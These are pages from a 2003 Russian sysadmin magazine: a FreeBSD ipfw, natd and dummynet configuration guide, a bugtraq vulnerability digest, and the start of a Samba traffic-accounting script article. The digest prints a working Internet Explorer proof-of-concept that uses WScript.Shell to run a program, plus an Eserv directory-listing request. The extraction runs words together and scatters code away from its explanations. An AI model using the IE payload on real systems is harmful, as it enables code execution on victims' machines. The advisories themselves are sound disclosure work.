# ipfw add deny from 10.0.0.0/8 to any via ${external}# ipfw add deny from 172.16.0.0/12 to any via ${external}# ipfw add deny from 192.168.0.0/16 to any via ${external}

# ipfw add 2000 allow tcp from any to ${external} 22,25,80 setup# ipfw add 2100 allow tcp from any to any established

# ipfw add 3000 allow tcp from ${external} to any setup

# ipfw add 4000 allow udp from ${external} to any 53# ipfw add 4100 allow udp from any 53 to ${external}

Page 32: 007 Системный Администратор 06 2003

30

администрирование

Правила разрешают прохождение UDP-трафика в томслучае, если он отправлен на внешний DNS-сервер или,наоборот, DNS-сервер направил его нам. Эти правила неявляются идеальными, хотя и решают подавляющее боль-шинство проблем с UDP. Но ничто не мешает злоумыш-леннику представиться DNS-сервером и отправлять UDP-пакеты с 53 порта. Здесь, также как и раньше, полнуюуверенность может дать только фильтрация с поддерж-кой состояний.

Последнее, что мы хотим разрешить, – это ICMP. Номы почему-то хотим, чтобы наш компьютер нельзя былопропинговать извне, однако при этом, как свойственно че-ловеческой природе, сами пинговать других собираемся:

Правило 5000 запрещает входящие (in), а правило 5100разрешает исходящие (out) ICMP эхо-запросы (ECHOREQUEST, 8). Правило 5200 разрешает эхо-ответы (ECHOREPLY, 0), приходящие на наш хост.

Последним правилом, которое подводит черту поднастройкой фильтрации пакетов, является запрет всего,что не разрешено:

Правило должно встать перед правилом 65000, кото-рым мы ранее разрешили весь трафик.

Трансляция адресовЧто это такое, и зачем нужнатрансляция адресовIP-адреса (и другие параметры заголовков) пакетов, про-ходящих через хост, можно изменять. Измененение IP-адреса отправителя дает возможность скрывать несколь-ко адресов хостов одним, а IP-адреса получателя, на-пример, распределять нагрузку между несколькими хо-стами. Изменение порта отправителя в некоторых слу-чаях позволяет обходить ненужные брандмауэры, а пор-та получателя, к примеру, организовать прозрачную ра-боту прокси-сервера.

В частном случае нужно выполнить маскарадинг, тоесть скрытие множества хостов, работающих с разнымиIP-адресами, одним.

Из-за ограниченности адресного пространства IP, каж-дый хост, который пользуется услугами Интернета, неможет получить собственного IP-адреса. В этом случаеиспользуются адреса из диапазонов 10.x.x.x, 192.168.x.x.,172.16.x.x.-172.31.x.x. Эти адреса зарезервированы длявнутреннего использования и не могут встретиться в Ин-тернете. Компьютеры, имеющие такие адреса, могут об-щаться друг с другом в пределах одной сети, но не могутвыходить за ее пределы: пакеты, имеющие такие адреса,будут попросту уничтожаться.

Для того чтобы обеспечить хостам с внутренними ад-ресами возможность доступа к Интернету, используетсямаскарадинг. При маскарадинге адрес отправителя паке-та автоматически подменяется внешним адресом сетево-го интерфейса хоста, на котором он осуществляется.

Трансляция адресов в FreeBSDВ FreeBSD трансляцию адресов пакетов можно выполнитьдвумя способами:� natd

Демон natd является процессом, то есть он работаетне в пространстве ядра, а в пространстве пользова-теля. Поэтому для обработки демоном трафик дол-жен копироваться из ядра в пространство пользова-теля и обратно. Это несколько уменьшает произво-дительность.

� ipnatТрансляция адресов выполняется ядром системы.

Каждый из этих механизмов имеет собственные спо-собы настройки. Здесь рассматривается только первыйвариант, то есть обеспечение маскарадинга с помощьюnatd.

Настройка natdДемон natd является процессом, работающим в простран-стве пользователя (то есть не в пространстве ядра). Сле-довательно, пакеты, которые он обрабатывает, должныкак-то к нему попасть. Действие divert пакетного фильтраможет справиться с такой задачей.

Если к пакету применяется действие divert, он переда-ется на соответствующий сокет и его обработка фильт-ром пакетов на этом прекращается (если сокет закрытили не существует, пакет просто уничтожается).

Например, для того чтобы все пакеты, которые отправ-лены из сети 192.168.15.0 и проходят через интерфейс${natd_interface}, передавались демону natd, нужно моди-фицировать правила таким образом:

Здесь ${natd_interface} – интерфейс, через которыйпакеты уходят из сети во внешний мир, а 8868 – номерсокета, на котором ведет прослушивание natd. Вместо8868 можно написать символическое имя порта: natd.

Для того чтобы трансляция адресов работала, необ-ходимо, чтобы natd получал и все пакеты, которые воз-вращаются обратно. Можно пойти еще дальше и переда-вать демону natd вообще все пакеты, которые проходятчерез ${natd_interface}:

Собственно, настройка ipfw дает только то, что па-кеты будут переданы демону natd. Основная работа вы-полняется самим демоном, так что нужно сконфигури-ровать и его.

Конфигурация natd задается либо аргументами егокомандной строки, либо конфигурационным файлом /etc/

# ipfw add 5000 deny icmp from any to ${external} ↵in icmptypes 8

# ipfw add 5100 allow icmp from ${external} ↵to any out icmtypes 8

# ipfw add 5200 allow icmp from any to ${external} ↵in icmptypes 0

# ipfw add 64000 deny ip from any to any

# ipfw add divert 8868 tcp from 192.168.15.0/24 ↵to any via ${natd_interface}

# ipfw add divert 8868 tcp from any to any via ${natd_interface}

Page 33: 007 Системный Администратор 06 2003

31№6(7), июнь 2003

администрирование

natd.conf (имя конфигурационного файла должно бытьуказано при вызове natd с ключом -f). Параметры конфи-гурационного файла и аргументы командной строки natdв точности повторяют друг друга, с той разницей, что ког-да параметр указывается в командной строке, перед нимнужно поставить минус. Например, сказать:

значит то же самое, что и просто:

когда в конфигурационном файле /etc/natd.conf находится:

Пример настройки трансляции адресовИтак, пусть наша сеть подключается через шлюз к Ин-тернету. Шлюз имеет два интерфейса: ${internal} – внут-ренний и ${external} – внешний. Компьютеры внутри сетиимеют адреса из диапазона, рекомендованного для ис-пользования внутри сетей. Необходимо:� обеспечить маскирование компьютеров с внутренни-

ми адресами внешним адресом интерфейса;� дать возможность работать прозрачному прокси-сер-

веру ${proxy};� перенаправлять входящие из Интернета соединения

по 25 порту на хост ${mailhub} внутри сети.

Все перечисленные задачи решаются с помощью natd.Первым делом необходимо изменить правила фильтра-ции пакетов так, чтобы трафик, проходящий через вне-шний интерфейс, обрабатывался демоном:

Теперь, когда natd получает весь внешний трафик,он должен правильно обработать его. Задача конфигу-рирования natd сводится к выбору набора директив, ко-торые должны быть указаны в конфигурационном фай-ле /etc/natd.conf или в качестве аргументов при запус-ке natd.

Конфигурация выглядит так (вместо переменной${external} нужно указать имя интерфейса, например xl0или en1, а вместо ${proxy} и ${mailhub} нужно подставитьсоответствующие IP-адреса):

Первый параметр указывает, что маскировка внутрен-них компьютеров должна проводиться адресом внешнегоинтерфейса ${external}.

Второй параметр заставлет natd перенаправлять всесоединения по 80 порту на порт 3128 прокси-сервера${proxy}. Для того чтобы прозрачное проксирование ра-ботало, сервер должен быть настроен соответствующимобразом.

Последнее правило обеспечивает перенаправлениевходящих SMTP-соединений на хост ${mailhub} внутрисети. Теперь почтовый сервер и брандмауэр разнесенына разные машины. Стоит отметить, что поскольку 25-йпорт хоста ${mailhub} выставлен в Интернет, хост следу-ет размещать внутри DMZ, а на безопасности програм-мы почтового сервера этого хоста сосредоточить уси-ленное внимание.

Регулировка величины трафикаЧто такое регулировка трафика,и зачем она нужнаВ простейшем случае задача регулировки трафика фор-мулируется так: через наш шлюз проходит информаци-

# natd -interface xl0

# natd -f /etc/natd.conf

interface xl0

Òàáëèöà 4. Îïöèè natd.

# ipfw add 6000 divert natd ip from any to any via ${external}

interface ${external}proxy_rule port 80 server ${proxy}:3128redirect_port tcp ${mailhub}:25 25

Page 34: 007 Системный Администратор 06 2003

32

администрирование

онный поток A величной V(A). Мы хотим ограничить этотпоток каким-нибудь значением Vmax. То есть, грубо гово-ря, сделать так, чтобы все, что выходит за пределы заче-ния Vmax, попросту уничтожалось1.

Каждому потоку назначается специальный буфер, ра-ботающий по принципу очереди. Буфер наполняется с тойскоростью, с какой в него поступают данные (Vin), а опу-стошается со скоростью, не превышающей заданную(Vout). В том случае, если Vin находится в допустимыхпределах, поток проходит через буфер в полном объеме.Если же буфер наполняется быстрее, чем опустошается,может наступить такой момент, когда он будет полностьюзаполнен и вновь поступающие данные будут попростууничтожаться.

Можно не только ограничивать трафик, но и вносить,например, задержку в него, или уничтожать пакеты с за-данной вероятностью. Как правило, это делается для ре-шения каких-либо экспериментаторских задач, но иногдаможет быть полезно и в чисто практических целях.

Средства, которые управляют трафиком подобнымобразом, называют трафик-шейперами (traffic-shaper),формирователями или регулировщиками трафика.

Трафик-шейпер в FreeBSDВ состав ядра FreeBSD входит модуль dummynet, кото-рый позволяет эмулировать канал связи, обладающий� ограниченной полосой пропускания;� задержкой распространения;� вероятностью потери пакета;� очередью пакетов заданного размера.

Этот модуль можно использовать в качестве трафик-шейпера.

Настройка трафик-шейпераНастройка трафик-шейпера на основе dummynet произ-водится с помощью утилиты ipfw. Для того чтобы напра-вить какой-либо трафик через канал dummynet, нужно:� создать канал;� указать, какой именно трафик должен быть в канал

направлен;� настроить канал на работу с заданными параметрами.

Два первых шага совмещаются в одном и выполняют-ся командой ipfw add pipe. Например, команда:

создает канал 1 (pipe 1) и направляет через него весь tcp-трафик, отправленный не важно кем (from any) хосту192.168.15.1 (to 192.168.15.1); при этом трафик долженбыть исходящим (out).

Для того чтобы настроить сам канал pipe, нужно датькоманду ipfw pipe. Например, команда:

ограничивает полосу пропускания канала pipe 1 значе-нием 10 Кб/с. Канал мог бы иметь и другие параметры,

которые в этом случае должны были быть указаны какдополнительные аргументы команды парами параметрзначение.

Для того чтобы ограничить поток даных, который пе-редается из Интернета на машину в сети, нужно регули-ровать исходящий поток со шлюза на эту машину.

В том случае, когда нужно ограничить скорость пере-дачи информации из Интернета на хост, находящийся влокальной сети, следует изменять скорость исходящегопотока. То есть скорость того потока, который уходит сошлюза на хост. Нельзя уменьшить скорость, с которойданные передаются из Интернета. Это вызывает вопрос:зачем уничтожать информацию после того, как она ужепопала в нашу сеть? Ведь она уже прошла по входящемуканалу и уже заняла там какое-то место? Все действи-тельно так, но в этом случае в силу вступают механизмырегулирования потока TCP, которые не позволят в следу-ющий раз отправлять хосту информации больше, чем онспособен принять.

Просмотреть информацию о канале можно с помощьюкоманды:

Она выдает не только сведения о канале, но и о со-единениях, которые проходят через этот канал.

Учет трафикаУчет трафика выполняется с помощью системы фильтра-ции пакетов IPFW. Собственно, подсчитывать трафик –это еще одна задача этой подсистемы.

Все пакеты, которые соответствуют какому-либо пра-вилу автоматически учитываются системой фильтрации.Посмотреть, чему равны счетчики для каждого из правилможно командой ipfw:

Ключ -a команды заставляет ее показывать не толькосписок правил, но и счетчики каждого из них. Строка содер-жит три числа: номер правила (65535), количество пакетов(4386) и байт (844198), которые совпали с правилом.

Если все, что нужно сделать с трафиком, – это под-считать его (то есть к нему не нужно применять ника-ких других действий, для данного типа трафика у филь-

# ipfw add pipe 1 tcp from any to 192.168.15.1 out

# ipfw pipe 1 bw 10KB

Òàáëèöà 5. Ïàðàìåòðû êàíàëà dummynet.

# ipfw pipe 1 list

# ipfw -a list65535 4386 844198 allow ip from any to any

Page 35: 007 Системный Администратор 06 2003

33№6(7), июнь 2003

администрирование

тра нет специального правила), следует использоватьдействие count.

Например, для того чтобы подсчитать весь трафик, ко-торый направляется из подсети 192.168.15.0 и которыйпроходит через даный хост, нужно добавить правило:

Это правило не затронет никаких остальных правилфильтрации, которые идут за ним. Например, если далееявным образом разрешается прохождение трафика с192.168.15.1 и запрещается с 192.68.15.2, они будут ра-ботать как и до этого.

Правила подсчета трафика лучше всего ставить в на-чало цепочки, то есть там, где они учтут все пакеты, дажете из них, которые будут после отброшены.

Работа с ipfwНастройка ядра для поддержки ipfwДля того чтобы ядро выполняло фильтрацию пакетов, нуж-но, чтобы в его состав были включены соответствующиемодули.

Для этого необходимо поправить файл конфигурацииядра и пересобрать ядро системы. В файле /usr/src/sys/i386/conf/ВАШЕ_ЯДРО нужно добавить такие строки:

и пересобрать его. Последние три опции являются необя-зательными. Первая опция должна использоваться все-гда, если нужно включить поддержку ipfw в ядро.

Для поддержки модуля dummynet нужно добавить оп-цию DUMMYNET в конфигурационный файл ядра:

Дополнительные параметры, которые могут быть полез-ны при тонкой настройке dummynet, это NMBCLUSTERS иHZ. Первый позволяет указать объемы сетевых буферов,а второй – точность (granularity) таймера.

Если шлюз выполняет трансляцию адресов с помощьюдемона natd, нужно чтобы ядро могло обеспечить пере-дачу ему пакетов с помощью так называемых divert-соке-тов. Поддержка divert-советов в ядре включается с помо-щью опции IPDIVERT:

После того как конфигурация ядра изменена, его пе-ресборку и инсталляцию можно выполнить командами:

Настройка ipfw и natd при загрузкеНастройки пакетного фильтра, которые выполняются припомощи утлиты ipfw, действительны только до перезаг-рузки. Для того чтобы сделать их постоянными, необхо-димо, чтобы фильтрация настраивалась каждый раз призагрузке системы.

Напомним, что конфигурация загрузки системы опре-деляется файлом /etc/rc.conf. В нем описываются пере-менные, которые сообщают загрузочным скриптам, какони должны себя вести. Для того чтобы повлиять на ра-боту загрузочных скриптов, следует изменять значенияпеременных, устанавливаемых в этом файле.

При запуске машины главный загрузочный скрипт /etc/rc.conf вызывает скрипт настройки сети /etc/rc.network2;он, в свою очередь, вызывает /etc/rc.firewall. Скрипт /etc/rc.firewall выполняет настройку брандмауэра.

В FreeBSD описано несколько типовых конфигурацийбрандмауэра. Типовая конфигурация выбирается с помо-щью переменной firewall_type.� OPEN

Брандмауэр пропускает все пакеты.� CLIENT

Брандмауэр настроен так, как должен быть настроенстандартный клиентский компьютер. Он разрешает всеисходящие соединения, и запрещает все входящие со-единения, кроме соединений по 25 порту.Брандмауэр:� пропускает пакеты, которые отправляются хостом

${ip} в локальную сеть {net}:{mask};� разрешает все исходящие соединения с хоста;� разрешает все входящие соединения на 25 порт;� запрещает все остальные входящие TCP-соединения;� разрешает прохождение UDP-пакетов по портам

DNS (53) и NNTP (123);� все остальные пакеты рассматриваются правилом

по умолчанию, которое определяется конфигура-цией ядра.

# ipfw add count ip from 192.168.15.0/24 to any

options IPFIREWALLoptions IPFIREWALL_VERBOSEoptions IPFIREWALL_VERBOSE_LIMIT=10options IPFIREWALL_DEFAULT_TO_ACCEPT

options DUMMYNET

options IPDIVERT

# /usr/sbin/config ÂÀØÅ_ßÄÐÎ# cd ../compile/ÂÀØÅ_ßÄÐÎ# cd ../../compile/ÂÀØÅ_ßÄÐÎ# make depend# make# make install

Òàáëèöà 6. Îïöèè êîíôèãóðàöèè ÿäðà, îòíîñÿùèåñÿ ê ôèëüòðó ïàêåòîâ.

Page 36: 007 Системный Администратор 06 2003

34

администрирование

� SIMPLEПростеший брандмаэур, защищающий локальную сетьот проникновения из Интернета. Правила фильтрацииточно такие же, как и в CLIENT, но:� Есть поддержка natd. Выполняется передача IP-па-

кетов на divert-сокет демона natd при условии, чтоnatd_enable=YES;

� Выполняется защита от IP-спуфинга. Пакеты, ко-торые имеют адреса, предназначенные для исполь-зования внутри локальных сетей 10.x.x.x, 172.16.x.x-172.31.x.x, 192.168.x.x. (RFC 1918), не пропускают-ся по внешнему интерфейсу. Также удаляются па-кеты из внешней сети, которые имеют адрес воз-врата из сети внутренней.

Адреса внутренней {inet}:{imask} и внешней {onet}:{omask}сети, а также адреса внутреннего ${iif} и внешнего ${oif}интерфейсов указываются в файле /etc/rc.firewall. Зна-чения ${ip}, ${net} и ${mask} следует вручную устанавли-вать в файле /etc/rc.firewall.

� CLOSEDРазрешается только трафик через локальный интер-фейс lo0. Прохождение остального трафика опреде-ляется правилом по умолчанию. Брандмауэр в режи-ме CLOSED закрыт только в том случае, если правилопо умолчанию установлено ядром в deny.

� UNKNOWNБрандмауэр никак не настраивается. Будет он пропус-кать трафик или нет, определяется конфигурациейядра системы. Используется по умолчанию.

� файлПравила брандмауэра загружаются из внешнего фай-ла. Имя файла определяется значением переменнойfirewall_type. Дополнительные аргументы ipfw могутбыть переданы с помощью firewall_flags. Файл долженсодержать команды ipfw в том виде, в каком они ука-зываются в его командной строке. Например:

В простейших случаях можно воспользоваться од-ним из этих вариантов, но если нужна более тонкая на-стройка, придется описывать правила фильтрации са-мостоятельно. Нужно создать файл, содержащий пра-вила фильтрации и указать имя этого файла в качествеfirewall_type.

Если нужно, чтобы шлюз выполнял трансляцию адре-сов, в /etc/rc.conf следует указать natd_enable=YES. Этоприведет к тому, что при загрузке автоматически будетзапускаться демон natd. Нужно указать еще natd_interface,для того чтобы natd знал, какой интерфейс является вне-шним, и natd_flags="-f /etc/natd.conf", чтобы natd знал, от-куда ему брать свою конфигурацию. Можно описать кон-фигурацию natd прямо в этой строке и не выносить ее вовнешний файл.

Изменения конфигурации фильтра пакетов вступят всилу после перезагрузки компьютера. Чтобы они сталидействительными прямо сейчас, можно выполнить3:

При удаленном администрировании нужно быть осто-рожным, чтобы нечаянно не закрыть себе доступ к хосту.

Дополнительная информация1. ipfw (8) – руководство пользователя программы ipfw.2. natd (8) – руководство пользователя программы natd.3. dummynet (4) – описание модуля dummynet.4. http://info.iet.unipi.it/~luigi/ip_dummynet/ – домашняя

страница проекта dummynet.5. http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO –

IPFW HOWTO: исчерпывающее руководство по исполь-зованию IPFW в FreeBSD.

6. http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO –NAT HOWTO: руководство по трансляции адресов спомощью natd в FreeBSD.

7. http://www.deadly.org/article.php3?sid=20030325141427 –PF for FreeBSD 5.0

1 В действительности задача управления трафиком зна-чительно сложнее, но даже такая упрощенная форму-лировка является полезной и позволяет решить мно-жество практических задач.

2 Точнее, функции, которые в нем описаны. Скрипт неделает ничего, кроме того, что описывает несколь-ко функций инициализации сети. Вот почему запускsh /etc/rc.network сам по себе ничего не дает.

3 При трансляции адресов скрипт /etc/rc.firewall не запус-кает natd, а только настраивает divert-правила. Нужно за-пустить его вручную, но при этом не забыть аргументы.

add deny icmp from any to anyadd deny ip from 1.2.3.4 to anyallow tcp from any to any established

natd_enable="YES"natd_inteface="lnc0"natd_flags="-f /etc/natd.conf"

# sh /etc/rc.conf /etc/rc.firewall

Òàáëèöà 7. Íåêîòîðûå ïàðàìåòðû /etc/rc.conf.

Page 37: 007 Системный Администратор 06 2003

Утечка памятив 3Com OfficeConnect DSL Routerпозволяет удаленному пользователюпросматривать предыдущие HTTP-запросыУтечка памяти обнаружена в OfficeConnect Remote 812ADSL Router. Удаленный пользователь, способный конт-ролировать сеть, может просматривать предыдущиеHTTP-запросы.

Удаленный пользователь, способный контролироватьсетевой трафик для DHCP-пакетов, может просматриватьпредыдущие HTTP-запросы, обработанные маршрутиза-тором (даже если удаленный пользователь не способенпросматривать первоначальные HTTP-запросы). Сообща-ется, что пакеты DHCP-ответа включают DHCP-данные,записанные поверх предыдущих HTTP-запросов, включаяPOST-запросы со значением полей и данных.

Уязвимость обнаружена в 3Com OfficeConnect DSLRouter, firmware version 1.1.7.

DoS против Cisco ONSНесколько FTP- и Telnet-уязвимостей обнаружены вCisco ONS для Cisco ONS15454, ONS15327,ONS15454SDH и ONS15600 оптических сетевых компо-нентов. Удаленный пользователь может перезагрузитькарту управления устройством.

Сообщается, что удаленный пользователь может послатьспециально обработанный FTP- или Telnet-пакет к интерфей-су управления устройством, который заставит перезагру-зиться карты управления TCC+, XTC, TCCi или TSC.

Уязвимость обнаружена в Cisco ONS15454 OpticalTransport Platform, Cisco ONS15327 Edge Optical TransportPlatform, Cisco ONS15454SDH Multiplexer Platform и CiscoONS15600 Multiservice Switching Platform.

Две уязвимости в EservДве уязвимости обнаружены в Eserv. Удаленный пользо-ватель может использовать веб- и FTP-сервис как про-кси. Удаленный пользователь может также просматриватьсодержание веб-директорий.

Damage Hacking Group сообщает, что удаленныйпользователь может представить следующий HTTP-зап-рос, чтобы просмотреть содержание веб-директории:

Также сообщается, что удаленный пользователь мо-жет использовать HTTP- и FTP-сервис как прокси-сервер,даже если используется авторизация паролем или еслипрокси-сервер отключен.

По словам производителя, эта уязвимость не суще-ствует в заданной по умолчанию конфигурации.

Уязвимость обнаружена в Eserv 2.95 - 2.99.

GET /? HTTP/1.1

Составил Александр Антипов

Переполнение буферав Encrypted Virtual File Systemпозволяет локальному пользователюполучить root-привилегииПереполнение буфера обнаружено в Encrypted Virtual FileSystem (EVFS). Локальный пользователь может выполнитьпроизвольный код с root-привилегиями.

Сообщается, что локальный пользователь может под-ключить каталог, используя EVFS со специально обрабо-танными параметрами 'from', 'to', и 'password', чтобы выз-вать переполнение буфера. На системах, в которых ути-лита конфигурирована с set user id (setuid) root-привиле-гиями, локальный пользователь может выполнить произ-вольный код с root-привилегиями.

Уязвимость обнаружена в Encrypted Virtual Filesystem(EVFS) 0.2.

Выполнение произвольного кодасценария в зоне "My Computer"в Internet ExplorerУязвимость обнаружена в Microsoft Internet Explorer (IE).Удаленный пользователь может сконструировать HTML,который при загрузке в браузере целевого пользователявыполнит произвольный код сценария на системе целе-вого пользователя в зоне безопасности "My Computer".

Удаленный пользователь может сконструировать сле-дующий HTML, который может обратиться к Web Folderцелевого пользователя:

Если Web Folder не существует, во временной папкебудет создан файл ошибки 'wecerr.txt' (скриншот здесь:http://www.malware.com/behave.png). Содержание файламожет быть определено удаленным пользователем.

Удаленный пользователь может заставить WindowsMedia Player создать HTML IFRAME, содержащий asf mediaфайл, который загрузит временный локальный файл(mhtml:file://C:\WINDOWS\TEMP\wecerr.txt). Так как WindowsMedia Player запущен локально, локальный файл будет от-крыт. HTML-код будет открыт как “Temporary Internet File”.Однако эту меру защиты можно обойти, если создать вто-рой wecerr.txt файл (перезаписывая первый) в это время сдругим (и злонамеренным) содержанием типа:

Поскольку VML-фрейм записан поверх первоначаль-ного файла wecerr.txt, VML-фрейм может быть обработанIE. Поскольку извлеченный HTML-файл был первоначаль-но извлечен локально, код будет выполнен в зоне безо-пасности "My Computer".

Уязвимость обнаружена в Microsoft Internet Explorer 5.5-6.0.

<xml xmlns:v = "urn:schemas-microsoft-com:vml">

<v:rect id="malware" fillcolor="red"style="position:relative;top:1;left:1;width:20;height:20"onmouseover="javas cript:alert(document.location);varwsh=newActiveXObject('WScript.Shell');wsh.Run('telnet.exe');''"></v:rect></xml>

<body onload=malware()style="behavior:url(#default#httpFolder);"><script>function malware(){document.body.navigate("http://www.microsoft.com");}</script>

bugtraq

35№6(7), июнь 2003

Page 38: 007 Системный Администратор 06 2003

36

администрирование

СКРИПТЫ ДЛЯ ПОДСЧЕТА ТРАФИКА:ПРИМЕР РЕАЛИЗАЦИИ В FreeBSD

Среди прочих задач системного администратора «написание скриптов» занимает немало места.Но существует эта задача не сама по себе, а в качестве средства автоматизации, призванногосвести объем рутинной работы к минимуму. Вместе с тем сам язык, на котором пишутся скрипты(а в данной статье пойдет речь о Bourne shell), достаточно развит, чтобы перевести скриптыиз разряда «набора команд» для оптимизации в разряд небольших программ, выполняющихв системе полезные функции. Более того, во многих случаях применение именно этого языканаиболее оправданно, поскольку позволяет упростить до предела изначально сложные задачи.

ДЕНИС ПЕПЛИН

Page 39: 007 Системный Администратор 06 2003

37№6(7), июнь 2003

администрирование

Довольно часто с помощью скриптов решается задачаучета трафика. Они могут применяться не только дляобработки выходных данных, но и для настройки пара-метров учета. В качестве примера можно привести про-грамму ipa, которая считает трафик по правилам ipfwили ipf. Если количество правил невелико и меняетсяредко, то и сами правила и параметры настройки ipaнесложно добавить вручную. Другое дело, если коли-чество правил достигает нескольких десятков или боль-ше, и они часто меняются.

Крайний случай такой ситуации – динамическое рас-пределение IP-адресов. Причём это не обязательноdhcp: в условиях офиса не всегда за каждым пользо-вателем закреплено отдельное рабочее место, и рас-пределение адресов по пользователям приобретает не-которую динамичность.

В таких условиях в большинстве случаев наиболее це-лесообразным выглядит установка прокси-сервера (на-пример, Squid+ntlm) и учет проходящего через него трафи-ка. С точки зрения иерархии сети трафик проходит черезприкладной уровень стека TCP/IP и подсчитывается имен-но там. Действительно, это самый очевидный способ: та-кое понятие, как «пользователь», появляется именно наприкладном уровне. На сетевом уровне никаких пользо-вателей нет, есть лишь IP-адреса.

Именно поэтому попытки посчитать трафик по пользо-вателям на сетевом уровне приносят лишь проблемы.Ведь адрес нельзя закрепить именно за пользователем,можно лишь закрепить его за отдельным компьютером инадеяться, что пользователь не пересядет на другое мес-то, а на его место не сядет другой. Применение dhcp вэтом случае также нужно исключить.

Не совсем стандартный путь – применение информа-ции, полученной с прикладного уровня, для учета трафи-ка на сетевом уровне. Объем этой информации долженбыть минимален: необходимо лишь связать имя пользо-вателя с IP-адресом компьютера, на котором он работа-ет. Для первоначального конфигурирования потребуетсясписок вида:

Для последующей динамической перенастройки дос-таточно зафиксировать факт входа в сеть (выхода из сети)и все те же имя и адрес. Если обозначить вход/выход зна-ками +/-, получится список вида:

Его можно обобщить и на случай первоначальногоконфигурирования, тогда перед каждой строкой будетзнак “+”.

Сам процесс динамического переконфигурированиясистемы учета трафика таким образом разделяется надва этапа: сбор информации согласно приведенномувыше протоколу и собственно настройка системы учета.Наличие минимального одностороннего протокола не

только позволяет разделить скрипт на две части, но дажев случае необходимости разнести эти части по разнымсерверам в случае, если программное обеспечение, ре-гистрирующее вход пользователей, и шлюз во внешнююсеть располагаются на разных серверах.

Разделение скрипта на части полезно еще и по со-ображениям сохранения простоты каждой из частей. Не-смотря на то что скриптовый язык довольно развит, принаписании скриптов рекомендуется придерживаться такназываемого принципа KISS (Keep It Simple Stupid). Чемпримитивнее скрипт, тем меньше вероятность того, чтов нем допущены ошибки. Сложные конструкции не при-ветствуются.

В отличие от языков более низкого уровня (напри-мер, C), скрипты идеально подходят для организациивзаимодействия программ. Именно это их качество по-могает решать сложные задачи простыми способами –несравнимо проще, чем это можно было бы сделать натом же C.

Хорошей иллюстрацией этому утверждению может по-служить, к примеру, задача сбора информации на при-кладном уровне.

Зачастую в качестве контроллера домена NT-сетиприменяется пакет Samba. Как известно, он помогает во-обще избавиться от серверной ОС Windows во многихслучаях. В составе пакета Samba есть программаsmbstatus. С ее помощью можно получить список под-ключений к сетевым ресурсам и информацию о блоки-ровках файлов. Формат данных, выдаваемых этой про-граммой, примерно такой:

Перевести эти данные в список подключенных пользо-вателей можно с помощью следующего скрипта (назовемего count_samba):

Данные от smbstatus преобразуются последователь-ностью утилит: сначала выбираются строки с IP-адреса-ми, затем удаляется информация об именах ресурсов,удаляются строки с пользователями nobody и root, выво-дится информация о пользователе и адресе, которая за-тем сортируется, повторяющиеся строки удаляются и, на-конец, удаляются скобки вокруг IP-адреса.

Символ “|” означает связывание программ с помощьюканала (pipe), то есть стандартный вывод предыдущейпрограммы связывается со стандартным вводом после-дующей. Это простейшее средство однонаправленногомежпроцессного взаимодействия довольно широко при-меняется в Unix именно из-за своей простоты. Как извес-тно, чем проще инструмент, тем он надежнее – каналыкак раз и есть этот простой и надежный инструмент. Од-

user1 192.168.0.11user2 192.168.0.123...

+ user3 192.168.0.98- user2 192.168.0.123...

#!/bin/shsmbstatus | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" \| colrm 1 13 | grep -v -E "^nobody|^root" \| awk '{printf(" %s %s\n",$1,$5)}' \| sort | uniq | sed 's/[()]//g'

Data store user group 76905 buhgalter (192.168.0.3)↵Fri Apr 11 15:25:38 200376905 DENY_WRITE 0x20089 RDONLY EXCLUSIVE+BATCH ↵/pub/file.txt Thu Apr 11 17:30:46 2003

Page 40: 007 Системный Администратор 06 2003

38

администрирование

ной из основ идеологии Unix является использование не-скольких простых утилит, связываемых через такие ка-налы, вместо одной большой и сложной программы (ра-зумеется, только в тех случаях, когда этого достаточнодля решения поставленной задачи).

Символ “\” в конце строки указывает sh считать следу-ющую строчку продолжением предыдущей. Можно, конеч-но, написать все в одну строчку, но в таком случае чита-бельность скрипта уменьшится.

В примере выше каждая из используемых утилит об-рабатывает входной поток построчно. Посмотреть, какизменяются данные от одной программы к другой, можнопоследовательно подсоединяя к выходному потоку поодной программе, выстраивая их в цепочку.

Программа grep выбирает линии, соответствующиеуказанному регулярному выражению. Ключ -E использу-ется вместе с расширенными регулярными выражения-ми. Выражение "([0-9]{1,3}\.){3}[0-9]{1,3}" соответствуетлюбому IP-адресу, а «^nobody|^root» – строкам, начинаю-щимся с «nobody» или «root» (символ “|” здесь означаетИЛИ). Ключ -v указывает выбирать строки, не соответ-ствующие заданному регулярному выражению. Подроб-нее о регулярных выражениях можно почитать на страни-це руководства grep(1).

Awk представляет собой язык программирования,предназначенный для работы с таблицами. Несмотря нато что язык этот не самый простой, в нашем случае awkвполне подходит под определение простой утилиты. Вседело в том, как awk обрабатывает входной поток: каждаястрока разбивается на поля, значения которых присваи-ваются внутренним переменным awk $1, $2 и т. д. по чис-лу полей. Разделителем полей по умолчанию служат про-белы или табуляция. Воспользовавшись этим свойствомawk, можно легко оставить в каждой строке только пер-вое и пятое поле (имя пользователя и адрес), напечатавих встроенной функцией printf (значение пробела в нача-ле строки будет пояснено позже).

Вмешивается в эту идиллическую картину только имяресурса, которое может содержать пробелы (как в при-мере выше) и с точки зрения awk состоять из несколькихполей. Поскольку в выводе smbstatus имя ресурса зани-мает фиксированное число символов, его можно удалитьс помощью colrm, параметрами которой служат номерапервой и последней колонки текста, которые нужно уда-лить (colrm каждый символ в строке воспринимает какотдельную колонку).

Sort и uniq в отдельном пояснении не нуждаются, ихназначение полностью понятно из названия, а вот sedболее интересен. Это потоковый редактор (Stream EDitor),который помимо всего прочего может заменять соответ-ствующие заданному регулярному выражению подстро-ки. В приведенном примере это встроенная команда sed“s” (substitute), регулярное выражение “[()]” соответствуетсимволам “(“ и “)”, которые заменяются на “”, то есть про-сто удаляются. Ключ “g” указывает заменять все симво-лы в строке, попадающие под регулярное выражение, ане только первый.

Полученных данных вполне достаточно для первона-чальной настройки системы учета трафика, для динами-ческой переконфигурации потребуется информация вформате «+/- user address». Далеко не самое изящноерешение, но, очевидно, в данной ситуации самое простое– сохранять информацию о текущих подключениях, а за-тем через некоторый промежуток времени сравнивать совновь полученной информацией. Очень подходит для этойцели diff. Весь скрипт выглядит так (файл count_user):

